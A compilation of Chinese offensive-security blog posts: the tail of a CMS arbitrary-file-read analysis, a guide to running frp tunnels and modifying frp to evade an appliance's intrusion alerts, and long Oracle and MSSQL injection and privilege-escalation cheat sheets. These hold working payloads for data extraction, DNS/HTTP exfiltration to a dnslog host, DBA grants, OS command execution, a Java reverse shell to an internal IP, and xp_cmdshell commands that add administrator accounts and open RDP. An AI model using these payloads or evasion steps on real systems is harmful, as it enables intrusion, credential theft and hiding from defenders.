String fileContent = FileUtils.readString(editFile);
if (fileContent != null) {
fileContent = fileContent.replace("<", "<").replace(">", ">");
setAttr("file_content", fileContent);
setAttr("file_path", editFile);
}
}
if("res".equals(resPath)) {
render("/admin/cms/template/resource.html");
}else{
render("/admin/cms/template/index.html");
}
}
......
这里没有对dir和dir_name的值进行不合法输入检测,导致这里可以进行目录穿越,然后后面的就只有对文件是否存在进行判断,若存在则读取。所以此处存在任意文件读取漏洞。
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
某安全设备frp流量告警分析
前言
第一次使用某商设备,不同厂商的规则库不一样,总的来说流量监控很大一部分是基于规则库来实现的,所以在进行内网穿透的时候就要考虑如何bypass设备告警。
环境搭建
ubuntu 公网vps
win10内网主机
wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz
服务端配置
bind_port = 9666 //frp服务端端口
token = 123 //客户端连接时的token认证
dashboard_port=9999 //面板服务端口
dashboard_user=Ggoodstudy //用户名
dashboard_pwd=xxxx //密码
enable_prometheus=true
log_file=/var/log/frps.log //日志存放位置
log_level=info
log_max_days=3
vhost_http_port=9998 //http服务端口
启动
./frps -c frps.ini
如果后台运行
nohup ./frps -c frps.ini &
访问面板
http://xx.xxx.xx.xx:9666输入账号密码登录
此时服务端的配置已成功,客户端配置
[common]
server_addr = xx.xxx.x.x
server_port = 9666
token = 123
[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7004
这里设置代理本机的3389和8077端口
mstsc连接到主机
抓取数据包
host xx.xx.xx.xx
主机ip192.168.43.246
这里我们可以看到请求的流量包,在请求服务端的9666端口
详情内容就是
可以看到详细数据包中src_addr为受害主机出口地址,目的端口dst_port为vps的穿透端口7004端口,目的ip为vps的私网地址。
此时的连接状态显示的,同时,查看远程时的连接远程桌面时会产生这样流量特征run_id
另外有特别的发现,虚拟机winserver 2012 R2在运行客户端之后,vps在连接的过程中也能获取到宿主机的用户名
这是一个比较特别的点儿,剩余的流量就是vps和跳板机的流量交互,没有很明显的特征。
回头看某商设备对于frp内网穿透的告警
我们可以对比之前的流量包,缺少的字段且仅有udp端口
这里可能某商的规则id是基于udp_port或者说是version字段而产生的告警行为。
魔改
从几个方面规避流量监测
1.交互量加密
对frp的认证使用tls加密,修改服务端frps.ini
tlsonly = true
客户端配置frpc.ini
tlsenable = true
2.重写服务端
在上面的流量包中可以看到,在进行交互的时候
服务端会请求客户端配置文件内容proxy_name,那么在定义变量的服务端,可以重写方法
case *msg.NewVisitorConn:
if err = svr.RegisterVisitorConn(conn, m); err != nil {
xl.Warn("register visitor conn error: %v", err)
msg.WriteMsg(conn, &msg.NewVisitorConnResp{
ProxyName: m.ProxyName,
Error: util.GenerateResponseErrorString("register visitor conn error", err, svr.cfg.DetailedErrorsToClient),
})
conn.Close()
} else {
msg.WriteMsg(conn, &msg.NewVisitorConnResp{
ProxyName: m.ProxyName,
Error: "",
})
}
在客户端和服务器连接的时候流量特征变成自定义变量即可。
总结
frp的特征比较明显,所以就单纯魔改frp的话除了流量上做加密外,简单的修改特征bypass设备也是可以实现的。
本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本人无关。
数据库注入提权总结(四)
Oracle
Oracle权限分类
权限是用户对一项功能的执行权力。在Oracle中,根据系统的管理方式不同,将 Oracle 权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体 (schema) 所拥有的权限。
系统权限管理
系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。
DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构
RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构
CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构
对于普通用户:授予connect,resource权限
对于DBA用户:授予connect,resource,dba权限
-- 系统权限授予命令:
系统权限只能由DBA用户授出,也就是sys,system(这两个用户是最开始的两个DBA用户)
授权命令:grant connect, resource, dba to username1 , username2...;
普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收
回收授权命令:revoke connect, resource, dba from system;
-- 查询用户拥有那些权限:
select * from dba_role_privs;
select * from dba_sys_privs;
select * from role_sys_privs;
-- 查询自己拥有那些系统权限
select * from session_privs;
-- 删除用户
drop user [username] cascade; -- 加上cascade则将用户连同其创建的东西全部删除
-- 系统权限传递
增加 WITH ADMIN OPTION 选项,则得到的权限可以传递。
grant connect, resorce to user50 with admin option;
-- 系统权限回收,只能由DBA用户回收
revoke connect, resource, dba from system;
-- 说明
1. 如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
2. 系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。
实体权限管理
实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。
select, update, insert, alter, index, delete, all //all 包括所有权限
execute // 执行存储过程权限
-- 授权用户表操作
grant select, update, insert on product to user02;
grant all on product to user02;
上述两条命令是 除drop之外所有对 product表的操作授予 user02 用户
-- 授予全部用户表的操作权限
grant all on product to public; # all不包括 drop 权限
-- 实体权限传递
grant select, update on product to user02 with grant option;
user02得到权限,并可以传递。
-- 实体权限的回收
Revoke select, update on product from user02;
传递的权限将全部消失
-- 说明
1. 如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。
角色管理
-- 建立一个角色
create role role1;
-- 为角色授权
grant create any table,create procedure to role1;
-- 授权角色给用户
grant role1 to user1;
-- 查看角色所包含的权限
select * from role_sys_privs;
-- 创建带有口令的角色(在生效带有口令的角色时必须提供口令)
create role role1 identified by password1;
-- 修改角色,设置是否需要口令
alter role role1 not identified;
alter role role1 identified by password1;
-- 设置当前用户要生效的角色
角色的生效是一个什么概念呢?假设用户a有b1,b2,b3三个角色,那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,只有角色生效了,角色内的权限才作用于用户,最大可生效角色数由参数MAX_ENABLED_ROLES设定;在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。
set role role1; # 使role1生效
set role role,role2; # 使role1,role2生效
set role role1 identified by password1; # 使用带有口令的role1生效
set role all; # 使用该用户的所有角色生效
set role none; # 设置所有角色失效
set role all except role1; # 除role1外的该用户的所有其它角色生效。
select * from SESSION_ROLES; # 查看当前用户的生效的角色。
-- 修改指定用户,设置其默认角色
alter user user1 default role role1;
alter user user1 default role all except role1;
-- 删除角色
drop role role1;
角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。
-- 说明
1. 无法使用WITH GRANT OPTION为角色授予对象权限
2. 可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联
PL/SQL语言
PL/SQL 也是一种程序语言,叫做过程化 SQL 语言(Procedual Language/SQL)。
PL/SQL 是 Oracle 数据库对 SQL 语句的扩展。在普通 SQL 语句的使用上增加了编程语言的特点,所以 PL/SQL 就是把数据操作和查询语句组织在 PL/SQL 代码的过程性单元中,通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在 PL/SQL 编程语言是由甲骨文公司在 20 世纪 80 年代,作为 SQL 程序扩展语言和 Oracle 关系数据库开发。
基本结构如下:
DECLARE
BEGIN
EXCEPTION
END;
SQL 注入需注意的规则
Oracle 使用查询语言获取需要跟上表名,这一点和 Access 类似,没有表的情况下可以使用 dual 表,dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里面永远只有一条记录。
Oracle 的数据库类型是强匹配,所以在 Oracle 进行类似 Union 查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用 NULL 代替某些无法快速猜测出的数据类型位置,这一点和 SQL Server 类似。
Oracle 和 mysql 不一样,分页中没有 limit,而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0
Oracle 的单行注释符号是 --,多行注释符号 /**/。
Oracle 数据库包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如 user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中 table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名。
Oracle 使用 || 拼接字符串(在 URL 中使用编码 %7c 表示),concat() 函数也可以实现两个字符串的拼接
联合查询注入
Payload空格有问题,可以放在vscode中查看
# 判断注入点
所有数据库方式都一样
# 判断列数
依旧提交 order by 去猜测显示当前页面所用的 SQL 查询了多少个字段,也就是确认查询字段数。
?id=1 order by 3 --+
?id=1 order by 4 --+
# 判断回显点
?id=-1 union select null,null,null from dual --+
?id=-1 union select 1,'2','3' from dual --+
# 获取数据库基本信息
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+
# 获取数据库名,即用户名
Oracle 没有数据库名的概念,所谓数据库名,即数据表的拥有者,也就是用户名。
1. 获取第一个用户名
?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
2. 获取第二个用户名
?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+
3. 获取当前用户名
?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+
# 获取表名
1. 获取Test用户第一张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
2. 获取Test用户第二张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+
# 获取字段名
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+
# 获取数据
?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+
报错注入
在 oracle 注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。
使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL 仅使用函数报错即可),类似 mssql 报错注入的方式。
utl_inaddr.get_host_name ()
utl_inaddr.get_host_address 本意是获取 ip 地址,但是如果传递参数无法得到解析就会返回一个 oracle 错误并显示传递的参数。
我们传递的是一个 sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。
# 获取用户名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
# 获取表名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
# 获取字段名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
# 获取数据
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
ctxsys.drithsx.sn ()
# 获取用户名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
# 获取表名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
# 获取字段名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
# 获取数据
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
dbms_xdb_version.checkin ()
# 获取用户名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.makeversioned ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.uncheckout ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_utility.sqlid_to_sqlhash ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
ordsys.ord_dicom.getmappingxpath ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
XMLType ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+
布尔型盲注
decode()
decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值 1 时,该函数返回值 2,否则返回值3,当然值 1,值 2,值 3 也可以是表达式,这个函数使得某些 sql 语句简单了许多
# 判断是否是TEST用户
?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+
# 猜解当前用户
?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+
# 猜解表名
?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+
# 猜解字段名
?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+
# 猜解数据
?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+
instr ()
instr 函数的使用,从一个字符串中查找指定子串的位置
select instr('123456789','12') position from dual;
可以使用该函数按位爆破,该函数返回是从1开始
?id=1 and (instr((select user from dual),'S'))=1 --+
?id=1 and (instr((select user from dual),'SY'))=1 --+
?id=1 and (instr((select user from dual),'SYS'))=1 --+
substr()
这个就和mysql 基本一致
# 猜解数据长度
?id=1 and (select length(user) from dual)=3 --+
# ASCII按位爆破
?id=1 and (select ascii(substr(user,1,1))from dual)=65 --+
时间盲注
dbms_pipe.receive_message ()
DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。
首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询 (stacked query)。其次,只有数据库管理员才能使用 DBMS_LOCK 包。
在 Oracle PL/SQL 中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:
dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。默认情况下,允许以 public 权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在 SQL 语句中的函数。
# 查看是否可以使用 dbms_pipe.receive_message () 函数进行延时注入
?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+
# 猜解当前用户
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
# 猜解表名
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
# 猜解字段
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
# 猜解数据
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
decode ()
原理:结合耗费时间的查询语句,不过在使用的过程中有很多不尽如人意的地方,有时候加载快有时加载慢。
?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --+
decode () 与 dbms_pipe.receive_message () 嵌套时间盲注
?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+
DNS外带注入
Oracle 注入之带外通信和 DNSLOG 注入非常相似,例如和 mysql 中 load_file () 函数实现无回显注入非常相似。
Oracle 发送 HTTP 和 DNS 请求,并将查询结果带到请求中,然后检测外网服务器的 HTTP 和 DNS 日志,从日志中获取查询结果,通过这种方式将繁琐的盲注转换成可以直接获取查询结果的方式。
使用第三方平台,监听访问请求,并记录请求的日志信息,然后使用 utl_http.request() 向外网主机发送 http 请求,请求便携带了查询的结果信息。此处可以结合 SSRF 进行内网探测。或许这就是 Oracle 的 SSRF。
利用 utl.inaddr.get_host_address(),将查询结果拼接到域名下,并使用 DNS 记录解析日志,通过这种方式获取查询结果。
# 检测是否支持 utl_http.request
?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+
# 获取用户名
?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
# 获取表名
?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
# 获取列名
?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
# 获取数据
?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
利用漏洞提权命令执行
dbms_export_extension()
影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)
权限:None
详情:这个软件包有许多易受 PL/SQL 注入攻击的函数。这些函数由 SYS 拥有,作为 SYS 执行并且可由 PUBLIC 执行。因此,如果 SQL 注入处于上述任何未修补的 Oracle 数据库版本中,那么攻击者可以调用该函数并直接执行 SYS 查询。
提升权限
该请求将导致查询 "GRANT DBA TO PUBLIC" 以 SYS 身份执行。因为这个函数允许 PL / SQL 缺陷(PL / SQL 注入)。一旦这个请求成功执行,PUBLIC 获取 DBA 角色,从而提升当前 user 的特权
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual
使用Java执行
# 创建java库
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {publ
# 赋予Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''
# 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java
# 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
# 执行系统命令
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual
dbms_xmlquery.newcontext()
影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)
必须在 DBMS_PORT_EXTENSION 存在漏洞情况下,否则赋予权限时无法成功
# 创建java库
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedRe
# 赋予当前用户Java权限
select user from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''
# 查看 all_objects 内部改变
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
# 创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
# 判断是否创建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
# 执行命令
select LinxRunCMD('id') from dual
# 删除函数
drop function LinxRunCMD
dbms_java_test.funcall()
影响版本:10g R2, 11g R1, 11g R2
权限:Java Permissions
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;
执行会有一定报错,但是不影响命令执行
Java反弹shell
# linux系统payload
import java.io.*;
import java.net.*;
public class shellRev
{
public static void main(String[] args)
{
System.out.println(1);
try{run();}
catch(Exception e){}
}
public static void run() throws Exception
{
String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
Process p=Runtime.getRuntime().exec(aaa);
}
}
#编译
javac shellRev.java
#执行
java shellRev
# 创建 Java 库 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class sh
end
数据库注入提权总结(三)
MSSQL GetShell
扩展存储过程
扩展存储简介
在MSSQL注入攻击过程中,最长利用的扩展存储如下
xp_cmdshell详细使用方法:
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它
execute('sp_configure "show advanced options",1') # 将该选项的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure "xp_cmdshell", 1') # 将xp_cmdshell的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure') # 查看配置
execute('xp_cmdshell "whoami"') # 执行系统命令
exec sp_configure 'show advanced options',1; # 将该选项的值设置为1
reconfigure; # 保存设置
exec sp_configure 'xp_cmdshell',1; # 将xp_cmdshell的值设置为1
reconfigure; # 保存设置
exec sp_configure; # 查看配置
exec xp_cmdshell 'whoami'; # 执行系统命令
# 可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限
exec xp_cmdshell 'net user Guest 123456' # 给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' # 激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' # 将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 开启3389端口
扩展存储Getshell
条件
数据库是 db_owner 权限
扩展存储必须开启,涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread
1.查看是否禁用扩展存储过程xp_cmdshell
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+
2.执行命令
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+
差异备份GetShell
差异备份简介
差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。
前提条件
具有db_owner权限
知道web目录的绝对路径
寻找绝对路径的方法
报错信息
字典爆破
根据旁站目录进行推测
存储过程来搜索
在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree
先来看xp_dirtree直接举例子
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中
